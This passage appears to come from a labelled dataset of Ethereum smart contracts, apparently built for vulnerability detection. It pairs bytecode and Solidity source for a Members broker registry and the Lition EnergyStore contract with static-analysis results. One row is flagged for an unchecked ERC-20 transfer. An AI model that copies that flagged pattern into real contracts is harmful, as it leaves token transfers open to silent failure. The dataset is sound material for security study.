06004820152601760248201527f52656c6561736520686173206e6f742073746172746564000000000000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526005602052604090205415158061037457506001600160a01b03811660009081526006602052604090205415155b6103af5760405162461bcd60e51b8152600401808060200182810382526037815260200180610c1c6037913960400191505060405180910390fd5b60006103ba82610564565b6001600160a01b0383166000908152600560205260409020549091506103e09082610b77565b6001600160a01b03831660009081526005602090815260408083209390935560069052908120546104119083610b91565b6001600160a01b03808516600081815260066020908152604080832083905560048083528184204290558354825163a9059cbb60e01b815291820195909552602481018790529051959650929093169363a9059cbb936044808501949193918390030190829087803b15801561048657600080fd5b505af115801561049a573d6000803e3d6000fd5b505050506040513d60208110156104b057600080fd5b50506040805182815242602082015281516001600160a01b038616927f987d620f307ff6b94d58743cb7a7509f24071586a77759b77c2d4e29f75a2f9a928290030190a2505050565b60025481565b60015481565b60035481565b60056020526000908152604090205481565b600061054a61052b83610564565b6001600160a01b03841660009081526006602052604090205490610b91565b90505b919050565b60066020526000908152604090205481565b60006002544210156105785750600061054d565b600060035442101561058a574261058e565b6003545b6001600160a01b038416600090815260046020526040902054600354919250610607916105ba91610b77565b6001600160a01b038516600090815260046020526040902054610601906105e2908590610b77565b6001600160a01b03871660009081526005602052604090205490610ba3565b90610bca565b9392505050565b6001600160a01b03821633141561066c576040805162461bcd60e51b815260206004820152601d60248201527f4d6179206e6f74207472616e7366657220746f20796f757273656c662e000000604482015290519081900360640190fd5b61068e61067833610564565b3360009081526006602052604090205490610b91565b336000908152600660205260409020556106aa61052b83610564565b6001600160a01b0383166000908152600660205260409020556106e56106cf33610564565b3360009081526005602052604090205490610b77565b3360009081526005602052604090205561072061070183610564565b6001600160a01b03841660009081526005602052604090205490610b77565b6001600160a01b03831660008181526005602081815260408084209590955533808452600482528584204290819055948452858420949094559282529091529081205461077583670de0b6b3a7640000610ba3565b116107915761078c82670de0b6b3a7640000610ba3565b6107a2565b336000908152600560205260409020545b336000908152600560205260409020549091506107bf9082610b77565b33600090815260056020526040808220929092556001600160a01b038516815220546107eb9082610b91565b6001600160a01b03841660008181526005602090815260409182902093909355805184815242938101939093528051919233927f9ed053bb818ff08b8353cd46f78db1f0799f31c9e4458fdb425c10eccd2efc44929181900390910190a3505050565b60046020526000908152604090205481565b6000546001600160a01b031681565b731f28ed9d4792a567dad779235c2b766ab84d8e333314806108a4575073c93356bdeaf3cea6284a6cc747fa52dd04afb2a833145b6108f5576040805162461bcd60e51b815260206004820152601a60248201527f53656e646572206d6179206e6f7420696e697469616c697a652e000000000000604482015290519081900360640190fd5b6003541561094a576040805162461bcd60e51b815260206004820181905260248201527f436f6e747261637420697320616c726561647920696e697469616c697a65642e604482015290519081900360640190fd5b82811461099e576040805162461bcd60e51b815260206004820152601b60248201527f4172726179206c656e6774687320646f206e6f74206d617463682e0000000000604482015290519081900360640190fd5b6109a88686610b91565b6003556002869055600080546001600160a01b0319166001600160a01b038a811691909117808355604080516323b872dd60e01b8152336004820152306024820152604481018c9052905191909216926323b872dd92606480820193602093909283900390910190829087803b158015610a2157600080fd5b505af1158015610a35573d6000803e3d6000fd5b505050506040513d6020811015610a4b57600080fd5b505060018790556000805b84811015610b2b5760025460046000888885818110610a7157fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b0316815260200190815260200160002081905550838382818110610ab157fe5b9050602002013560056000888885818110610ac857fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b0316815260200190815260200160002081905550610b21848483818110610b0b57fe5b9050602002013583610b9190919063ffffffff16565b9150600101610a56565b506001548114610b6c5760405162461bcd60e51b815260040180806020018281038252602f815260200180610bed602f913960400191505060405180910390fd5b505050505050505050565b600082821115610b8657600080fd5b508082035b92915050565b60008282018381101561060757600080fd5b600082610bb257506000610b8b565b82820282848281610bbf57fe5b041461060757600080fd5b6000808211610bd857600080fd5b6000828481610be357fe5b0494935050505056fe57656967687420646f6573206e6f74206d6174636820746f6b656e73206265696e672064697374726962757465642e5468697320636f6e7472616374206d6179206f6e6c792062652063616c6c656420627920757365727320776974682061207374616b652ea264697066735822122022a0711abd20b78b9601f7ba84eaadacd5aa075c294e72e51a51fb22a4bea67664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,025 |
0xf84d7228Dda7654B1d66Af05Dc171CbF0DB71d97
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
// Part: MembersInterface
interface MembersInterface {
function setCustodian(address _custodian) external returns (bool);
function addBroker(address broker) external returns (bool);
function removeBroker(address broker) external returns (bool);
function isCustodian(address addr) external view returns (bool);
function isBroker(address addr) external view returns (bool);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/EnumerableSet
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Members.sol
contract Members is MembersInterface, Ownable {
address public custodian;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet internal brokers;
constructor(address _owner) public {
require(_owner != address(0), "invalid _owner address");
transferOwnership(_owner);
}
event CustodianSet(address indexed custodian);
function setCustodian(address _custodian) external override onlyOwner returns (bool) {
require(_custodian != address(0), "invalid custodian address");
custodian = _custodian;
emit CustodianSet(_custodian);
return true;
}
event BrokerAdd(address indexed broker);
function addBroker(address broker) external override onlyOwner returns (bool) {
require(broker != address(0), "invalid broker address");
require(brokers.add(broker), "broker add failed");
emit BrokerAdd(broker);
return true;
}
event BrokerRemove(address indexed broker);
function removeBroker(address broker) external override onlyOwner returns (bool) {
require(broker != address(0), "invalid broker address");
require(brokers.remove(broker), "broker remove failed");
emit BrokerRemove(broker);
return true;
}
function isCustodian(address addr) external override view returns (bool) {
return (addr == custodian);
}
function isBroker(address addr) external override view returns (bool) {
return brokers.contains(addr);
}
function getBroker(uint index) external view returns (address) {
return brokers.at(index);
}
function getBrokersCount() external view returns (uint) {
return brokers.length();
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063416a5d8111610071578063416a5d8114610149578063715018a61461015f578063836cae65146101695780638da5cb5b1461017c578063d99d6f9a1461018d578063f2fde38b146101a0576100a9565b80630257f38d146100ae57806322b31d9f146100de57806335c80c8c14610101578063375b74c314610123578063403f373114610136575b600080fd5b6100c16100bc3660046108aa565b6101b3565b6040516001600160a01b0390911681526020015b60405180910390f35b6100f16100ec366004610883565b6101c6565b60405190151581526020016100d5565b6100f161010f366004610883565b6001546001600160a01b0390811691161490565b6001546100c1906001600160a01b031681565b6100f1610144366004610883565b6101d3565b6101516102ac565b6040519081526020016100d5565b6101676102bd565b005b6100f1610177366004610883565b610331565b6000546001600160a01b03166100c1565b6100f161019b366004610883565b610432565b6101676101ae366004610883565b610536565b60006101c0600283610620565b92915050565b60006101c0600283610633565b600080546001600160a01b031633146102075760405162461bcd60e51b81526004016101fe906108c2565b60405180910390fd5b6001600160a01b03821661025d5760405162461bcd60e51b815260206004820152601960248201527f696e76616c696420637573746f6469616e20616464726573730000000000000060448201526064016101fe565b600180546001600160a01b0319166001600160a01b0384169081179091556040517fb88c20a211c5d7677ba2a26c317d8ae6b25aa492016dc8ceca2469761d063d8090600090a2506001919050565b60006102b86002610655565b905090565b6000546001600160a01b031633146102e75760405162461bcd60e51b81526004016101fe906108c2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b0316331461035c5760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0382166103ab5760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642062726f6b6572206164647265737360501b60448201526064016101fe565b6103b660028361065f565b6103f65760405162461bcd60e51b8152602060048201526011602482015270189c9bdad95c881859190819985a5b1959607a1b60448201526064016101fe565b6040516001600160a01b038316907f596fedda579f1f112db492a84dd35c6770886843b38385b17af2e007af1e04fb90600090a2506001919050565b600080546001600160a01b0316331461045d5760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0382166104ac5760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642062726f6b6572206164647265737360501b60448201526064016101fe565b6104b7600283610674565b6104fa5760405162461bcd60e51b8152602060048201526014602482015273189c9bdad95c881c995b5bdd994819985a5b195960621b60448201526064016101fe565b6040516001600160a01b038316907f43c8cbfc72fcbcb9893729c9fc93a10e975730f59577494485111df43ff0f57490600090a2506001919050565b6000546001600160a01b031633146105605760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0381166105c55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101fe565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061062c8383610689565b9392505050565b6001600160a01b0381166000908152600183016020526040812054151561062c565b60006101c0825490565b600061062c836001600160a01b03841661071d565b600061062c836001600160a01b03841661076c565b815460009082106106e75760405162461bcd60e51b815260206004820152602260248201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016101fe565b82600001828154811061070a57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b6000818152600183016020526040812054610764575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556101c0565b5060006101c0565b600081815260018301602052604081205480156108795760006107906001836108f7565b85549091506000906107a4906001906108f7565b905060008660000182815481106107cb57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050808760000184815481106107fc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526001890190915260409020849055865487908061083d57634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506101c0565b60009150506101c0565b600060208284031215610894578081fd5b81356001600160a01b038116811461062c578182fd5b6000602082840312156108bb578081fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008282101561091557634e487b7160e01b81526011600452602481fd5b50039056fea2646970667358221220b00998544b3515759f42ef144fff3c5bb7c796f8a62cff956864b7fc8f85e4ce64736f6c63430008030033
|
{"success": true, "error": null, "results": {}}
| 8,026 |
0xd9b784d5f61E60bdF0E8Cc03aeD488f612E957ad
|
pragma solidity ^0.4.23;
/// @title A contract that remembers its creator (owner). Part of the
/// Lition Smart Contract.
///
/// @author Björn Stein, Quantum-Factory GmbH,
/// https://quantum-factory.de
///
/// @dev License: Attribution-NonCommercial-ShareAlike 2.0 Generic (CC
/// BY-NC-SA 2.0), see
/// https://creativecommons.org/licenses/by-nc-sa/2.0/
contract owned {
constructor() public { owner = msg.sender; }
address owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
/// @title A contract that allows consumer addresses to be
/// registered. Part of the Lition Smart Contract.
///
/// @author Björn Stein, Quantum-Factory GmbH,
/// https://quantum-factory.de
///
/// @dev License: Attribution-NonCommercial-ShareAlike 2.0 Generic (CC
/// BY-NC-SA 2.0), see
/// https://creativecommons.org/licenses/by-nc-sa/2.0/
contract consumerRegistry is owned {
event consumerRegistered(address indexed consumer);
event consumerDeregistered(address indexed consumer);
// map address to userID
mapping(address => uint32) public consumers;
modifier onlyRegisteredConsumers {
require(consumers[msg.sender] > 0);
_;
}
/// @notice Allow the owner of the address `aconsumer.address()`
/// to make transactions on behalf of user id `auserID`.
///
/// @dev Register address aconsumer to belong to userID
/// auserID. Addresses can be delisted ("unregistered") by
/// setting the userID auserID to zero.
function registerConsumer(address aconsumer, uint32 auserID) onlyOwner external {
if (auserID != 0) {
emit consumerRegistered(aconsumer);
} else {
emit consumerDeregistered(aconsumer);
}
consumers[aconsumer] = auserID;
}
}
/// @title A contract that allows producer addresses to be registered.
///
/// @author Björn Stein, Quantum-Factory GmbH,
/// https://quantum-factory.de
///
/// @dev License: Attribution-NonCommercial-ShareAlike 2.0 Generic (CC
/// BY-NC-SA 2.0), see
/// https://creativecommons.org/licenses/by-nc-sa/2.0/
contract producerRegistry is owned {
event producerRegistered(address indexed producer);
event producerDeregistered(address indexed producer);
// map address to bool "is a registered producer"
mapping(address => bool) public producers;
modifier onlyRegisteredProducers {
require(producers[msg.sender]);
_;
}
/// @notice Allow the owner of address `aproducer.address()` to
/// act as a producer (by offering energy).
function registerProducer(address aproducer) onlyOwner external {
emit producerRegistered(aproducer);
producers[aproducer] = true;
}
/// @notice Cease allowing the owner of address
/// `aproducer.address()` to act as a producer (by
/// offering energy).
function deregisterProducer(address aproducer) onlyOwner external {
emit producerDeregistered(aproducer);
producers[aproducer] = false;
}
}
/// @title The Lition Smart Contract, initial development version.
///
/// @author Björn Stein, Quantum-Factory GmbH,
/// https://quantum-factory.de
///
/// @dev License: Attribution-NonCommercial-ShareAlike 2.0 Generic (CC
/// BY-NC-SA 2.0), see
/// https://creativecommons.org/licenses/by-nc-sa/2.0/
contract EnergyStore is owned, consumerRegistry, producerRegistry {
event BidMade(address indexed producer, uint32 indexed day, uint32 indexed price, uint64 energy);
event BidRevoked(address indexed producer, uint32 indexed day, uint32 indexed price, uint64 energy);
event Deal(address indexed producer, uint32 indexed day, uint32 price, uint64 energy, uint32 indexed userID);
event DealRevoked(address indexed producer, uint32 indexed day, uint32 price, uint64 energy, uint32 indexed userID);
uint64 constant mWh = 1;
uint64 constant Wh = 1000 * mWh;
uint64 constant kWh = 1000 * Wh;
uint64 constant MWh = 1000 * kWh;
uint64 constant GWh = 1000 * MWh;
uint64 constant TWh = 1000 * GWh;
uint64 constant maxEnergy = 18446 * GWh;
struct Bid {
// producer's public key
address producer;
// day for which the offer is valid
uint32 day;
// price vs market price
uint32 price;
// energy to sell
uint64 energy;
// timestamp for when the offer was submitted
uint64 timestamp;
}
struct Ask {
address producer;
uint32 day;
uint32 price;
uint64 energy;
uint32 userID;
uint64 timestamp;
}
// bids (for energy: offering energy for sale)
Bid[] public bids;
// asks (for energy: demanding energy to buy)
Ask[] public asks;
// map (address, day) to index into bids
mapping(address => mapping(uint32 => uint)) public bidsIndex;
// map (userid) to index into asks [last take written]
mapping(uint32 => uint) public asksIndex;
/// @notice Offer `(aenergy / 1.0e6).toFixed(6)` kWh of energy for
/// day `aday` at a price `(aprice / 1.0e3).toFixed(3) + '
/// ct/kWh'` above market price for a date given as day
/// `aday` whilst asserting that the current date and time
/// in nanoseconds since 1970 is `atimestamp`.
///
/// @param aday Day for which the offer is valid.
/// @param aprice Price surcharge in millicent/kWh above market
/// price
/// @param aenergy Energy to be offered in mWh
/// @param atimestamp UNIX time (seconds since 1970) in
/// nanoseconds
function offer_energy(uint32 aday, uint32 aprice, uint64 aenergy, uint64 atimestamp) onlyRegisteredProducers external {
// require a minimum offer of 1 kWh
require(aenergy >= kWh);
uint idx = bidsIndex[msg.sender][aday];
// idx is either 0 or such that bids[idx] has the right producer and day (or both 0 and ...)
if ((bids.length > idx) && (bids[idx].producer == msg.sender) && (bids[idx].day == aday)) {
// we will only let newer timestamps affect the stored data
require(atimestamp > bids[idx].timestamp);
// NOTE: Should we sanity-check timestamps here (ensure that
// they are either in the past or not in the too-distant
// future compared to the last block's timestamp)?
emit BidRevoked(bids[idx].producer, bids[idx].day, bids[idx].price, bids[idx].energy);
}
// create entry with new index idx for (msg.sender, aday)
idx = bids.length;
bidsIndex[msg.sender][aday] = idx;
bids.push(Bid({
producer: msg.sender,
day: aday,
price: aprice,
energy: aenergy,
timestamp: atimestamp
}));
emit BidMade(bids[idx].producer, bids[idx].day, bids[idx].price, bids[idx].energy);
}
function getBidsCount() external view returns(uint count) {
return bids.length;
}
function getBidByProducerAndDay(address producer, uint32 day) external view returns(uint32 price, uint64 energy) {
uint idx = bidsIndex[producer][day];
require(bids.length > idx);
require(bids[idx].producer == producer);
require(bids[idx].day == day);
return (bids[idx].price, bids[idx].energy);
}
/// @notice Buy `(aenergy / 1.0e6).toFixed(6)` kWh of energy on
/// behalf of user id `auserID` (possibly de-anonymized by
/// randomization) for day `aday` at a surcharge `(aprice
/// / 1.0e3).toFixed(3)` ct/kWh from the energy producer
/// using the address `aproducer.address()` whilst
/// asserting that the current time in seconds since 1970
/// is `(atimestamp / 1.0e9)` seconds.
///
/// @param aproducer Address of the producer offering the energy
/// to be bought.
/// @param aday Day for which the offer is valid.
/// @param aprice Price surcharge in millicent/kWh above market
/// price
/// @param aenergy Energy to be offered in mWh
/// @param atimestamp UNIX time (seconds since 1970) in
/// nanoseconds
///
/// @dev This function is meant to be called by Lition on behalf
/// of customers.
function buy_energy(address aproducer, uint32 aday, uint32 aprice, uint64 aenergy, uint32 auserID, uint64 atimestamp) onlyOwner external {
buy_energy_core(aproducer, aday, aprice, aenergy, auserID, atimestamp);
}
/// @notice Buy `(aenergy / 1.0e6).toFixed(6)` kWh of energy on
/// for day `aday` at a surcharge `(aprice /
/// 1.0e3).toFixed(3)` ct/kWh from the energy producer
/// using the address `aproducer.address()`.
///
/// @param aproducer Address of the producer offering the energy
/// to be bought.
/// @param aday Day for which the offer is valid.
/// @param aprice Price surcharge in millicent/kWh above market
/// price
/// @param aenergy Energy to be offered in mWh
///
/// @dev This function is meant to be called by a Lition customer
/// who has chosen to be registered for this ability and to
/// decline anonymization by randomization of user ID.
function buy_energy(address aproducer, uint32 aday, uint32 aprice, uint64 aenergy) onlyRegisteredConsumers external {
buy_energy_core(aproducer, aday, aprice, aenergy, consumers[msg.sender], 0);
}
function buy_energy_core(address aproducer, uint32 aday, uint32 aprice, uint64 aenergy, uint32 auserID, uint64 atimestamp) internal {
// find offer by producer (aproducer) for day (aday), or zero
uint idx = bidsIndex[aproducer][aday];
// if the offer exists...
if ((bids.length > idx) && (bids[idx].producer == aproducer) && (bids[idx].day == aday)) {
// ...and has the right price...
require(bids[idx].price == aprice);
// ...and is not overwriting a (by timestamp) later choice...
//
// NOTE: Only works if a single (same) day is written, not for
// a bunch of writes (with different days)
//
// NOTE: The timestamp checking logic can be turned off by
// using a timestamp of zero.
uint asksIdx = asksIndex[auserID];
if ((asks.length > asksIdx) && (asks[asksIdx].day == aday)) {
require((atimestamp == 0) || (asks[asksIdx].timestamp < atimestamp));
emit DealRevoked(asks[asksIdx].producer, asks[asksIdx].day, asks[asksIdx].price, asks[asksIdx].energy, asks[asksIdx].userID);
}
// ...then record the customer's choice
asksIndex[auserID] = asks.length;
asks.push(Ask({
producer: aproducer,
day: aday,
price: aprice,
energy: aenergy,
userID: auserID,
timestamp: atimestamp
}));
emit Deal(aproducer, aday, aprice, aenergy, auserID);
} else {
// the offer does not exist
revert();
}
}
function getAsksCount() external view returns(uint count) {
return asks.length;
}
function getAskByUserID(uint32 userID) external view returns(address producer, uint32 day, uint32 price, uint64 energy) {
uint idx = asksIndex[userID];
require(asks[idx].userID == userID);
return (asks[idx].producer, asks[idx].day, asks[idx].price, asks[idx].energy);
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630b0c1493146100eb5780630bf53668146101c757806326324eff1461022a57806327c16605146102855780633c530ace146103135780634423c5f114610356578063520e7b0e1461041f578063542900651461048a57806363505ae8146104b55780636dd8d3bf146104e05780639ed81bc91461057b578063a0376dfe146105be578063a77674a714610672578063bbae30c9146106e9578063ccf5c5cf14610730578063e46b1f0914610783575b600080fd5b3480156100f757600080fd5b50610116600480360381019080803590602001909291905050506107ea565b604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1663ffffffff1681526020018563ffffffff1663ffffffff1681526020018467ffffffffffffffff1667ffffffffffffffff1681526020018363ffffffff1663ffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff168152602001965050505050505060405180910390f35b3480156101d357600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ad565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561023657600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108d0565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b506102d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff1690602001909291905050506108f0565b604051808363ffffffff1663ffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff1681526020019250505060405180910390f35b34801561031f57600080fd5b50610354600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a9d565b005b34801561036257600080fd5b5061038160048036038101908080359060200190929190505050610b96565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018563ffffffff1663ffffffff1681526020018463ffffffff1663ffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff1681526020019550505050505060405180910390f35b34801561042b57600080fd5b50610488600480360381019080803563ffffffff169060200190929190803563ffffffff169060200190929190803567ffffffffffffffff169060200190929190803567ffffffffffffffff169060200190929190505050610c43565b005b34801561049657600080fd5b5061049f6112c3565b6040518082815260200191505060405180910390f35b3480156104c157600080fd5b506104ca6112d0565b6040518082815260200191505060405180910390f35b3480156104ec57600080fd5b50610579600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190803563ffffffff169060200190929190803567ffffffffffffffff169060200190929190803563ffffffff169060200190929190803567ffffffffffffffff1690602001909291905050506112dd565b005b34801561058757600080fd5b506105bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134e565b005b3480156105ca57600080fd5b506105ef600480360381019080803563ffffffff169060200190929190505050611447565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018463ffffffff1663ffffffff16815260200183